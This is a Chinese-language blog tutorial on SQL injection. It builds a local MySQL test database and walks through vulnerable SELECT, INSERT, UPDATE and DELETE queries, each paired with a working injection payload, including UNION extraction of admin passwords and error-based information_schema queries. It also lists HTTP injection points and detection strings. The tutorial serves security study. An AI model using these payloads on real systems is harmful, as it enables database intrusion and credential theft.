sql注入漏洞语句原型及闭合方法

首先,创建测试库,表,准备好测试数据

1.建库

create database test;
show databases;
use test;

2.建表 personal_info(人员信息表),admin(假设为网站管理表,里面存的是网站后台管理员的账号密码)

create table if not exists `personal_info`(
`id` int unsigned not null auto_increment,
`name` varchar(50) not null,
`age` int not null,
`phonenu` varchar(20) not null unique,
`email` varchar(20) not null unique,
`sex` varchar(20) not null default 'man',
`birthday` date not null default '1991-01-01',
primary key(`id`),
index username_index(`name`),
index userpass_index(`phonenu`)
)ENGINE=MyISAM DEFAULT CHARSET=utf8 collate utf8_general_ci;
create table if not exists `admin`(
`id` int unsigned not null auto_increment,
`username` varchar(50) not null,
`passwd` varchar(50) not null,
`email` varchar(20) not null unique,
primary key(`id`),
index username_index(`username`),
index userpass_index(`passwd`)
)ENGINE=MyISAM DEFAULT CHARSET=utf8 collate utf8_general_ci;

2 select 查询注入:

关于select 的注入,也可能会是我们在实战中遇到的最多的一种注入语句。实际上在前端涉及增删改的操作一般都非常少,除非像那种论坛程序。对于大多数普通的 cms 而言,前端用户的大多数操作可能都是在点击链接,然后把对应的参数值传给后端脚本,然后脚本再到数据库中去查,之后再把查询的结果返回给前端页面显示给用户

# 标准数字型注入语句:
select * from personal_info where id=3;
# 数字型sql注入利用,数字嘛,也不存在什么闭合,直接跟上sql,就可以一下就把网站管理员的账号密码都查
出来:
select * from personal_info where id=-3 union select username,passwd,3,4,5,6,7
from admin;
# 标准字符型注入语句:
select * from personal_info where name='fedora';
# 字符型sql注入利用,想办法闭合单引号,and后面可随意跟上各种子查询就可以把所有数据遍历出来了
select * from personal_info where name='fedora' and 12=12 -- -; '
# 各种常见的登陆框注入漏洞原型sql语句:
select * from admin where username='admin' and passwd='abc123';
# 具体利用方法如下,依然是闭合前面注释后面,在and后面跟上各种子查询,直到把所有想要的数据都遍历出
来:
select * from admin where username='admin' and 12=12 -- - passwd='abc123';
# 针对各类搜索框注入的漏洞原型sql语句:
select * from personal_info where name like '%ka%';
# 具体利用方法 也非常简单,只需要前后的单引号和通配符都闭合掉即可保证语句的正常执行
select * from personal_info where name like '%%' and 12=12 -- +%';

3 insert 注入

因为一些功能需求,在前端可能会有很多需要录入各种用户信息的表单。丢给后端脚本以后,脚本会把 传过来的这些数据再插到数据库。例如典型的基于各种形式的个人中心功能。一旦遇到了,都可以随便 尝试 insert 注入。注意,想成功利用 insert 注入有个必要的前提,就是你一定要知道自己插入的数据在前端的什么地方显示。如果别人只是单单搜集用户信息,然后插到数据库中,并没有在前端页面上显示,即使你知道它存在 insert 注入也是个鸡肋

# 漏洞语句原型:
insert into personal_info(*)
values('injection',123,'123456789011','sqli@inection.org','man','0000-00-00');
# 利用如下,注意这里的闭合方法,insert前后字段的个数和数据类型务必一致,不然是闭合不了的,具体该怎
么确定字段个数呢,其实很简单,你就一位位的字段递增,直到它返回正常为止,然后再在爆出来的字段上查数据
就可以了
insert into personal_info(name,age,phonenu,email,sex,birthday)
values('injection',1,2,3,4,5)--
-123,'123456789011','sqli@inection.org','man','0000-00-00');

4 update 注入

关于 update 利用的点有两个:

  • 一个是在 set 的时候。如果 set 的是一个从前端传过来的变量,结果可想而知。
  • 另一个则是where后面的条件,因为这个条件也是可以从前端传过来的,这个后果想必就应该清楚了。

相对于 insert 可能会比较麻烦的一点的是,update 一般都是在 set 一个新值,这也就意味着我们在闭合的时候,在前端很可能是没有任何回显的,这样的话我们在实际查询数据的时候可能就要费点儿劲了。具体利用过程如下

# 漏洞原型语句:
update personal_info set email = 'flow@yeah.net' where name='fedora';
# 漏洞利用语句,其实,这里是利用 mysql 自身的报错特性来查数据的,但大多数情况下,稍微有点儿尝试的
目标站一般都会接收页面错误,这时你依然可以利用盲注的来查数据,方法大同小异
update personal_info set email=''*(select 1 from(select count(*),concat((select
(select (select concat(0x7e,database(),0x7e))) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)* ''
where name='fedora';

5 delete注入

对于delete语句,我们唯一能控制的地方可能就只有 where 后面的条件了。清晰明白这一点之后,剩下的事情就很好办了。说实话,在现在的 web 程序里,在前台涉及到 delete 的操作非常少,可以说几乎是没有。不过有时还是可以在后台尝试下,尤其在权限特别高的时候。至于怎么利用它来查数据,跟update 差不太多,基本也是靠报错或者盲注来搞。具体利用过程如下

# 漏洞原型sql语句:
delete from personal_info where id='fedora';
# 针对性注入利用,这个闭合其实跟select的时候差不多,无非就是数字或者字符串,数字就不存在什么闭合
了,如果是字符串,注意闭合掉前后的单引号即可
delete from personal_info where id='fedora' or (select 1 from (select
count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from
information_schema.tables group by y)x) -- +';

SQL注入常见注入点

  1. GET 请求的 URL: 正常情况下这里应该是最先会尝试的地方
  2. POST 数据字段中: 数据较多时一般都会用 POST 传,会是个不错的入手点
  3. cookie 中传的数据: 有些还可能会把一些参数放在 cookie 中传,所以这儿也会是个不错的入手点
  4. Referer: Referer 本身用来记录上一个页面的url,但一旦被存到数据库中之后又被带入查询,你懂的
  5. User-agent: UA 本身用来记录客户端信息,只要被记录到数据库之后又被带入查询一样可被利用
  6. X-Forwarded-For: XFF 本身专门用来记录客户端真实ip,如果脚本在处理时把它也带到数据库中去查询...

简单的检测方法

基于报错的检测方法 利用特殊字符 ' " % () 来进行测试。如果web application报错了就说明存在注入点。

基于布尔的检测方法

1' and '1'='1 //真
1' and '1'='2 //假

观察返回值是否按照输入返回真假。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值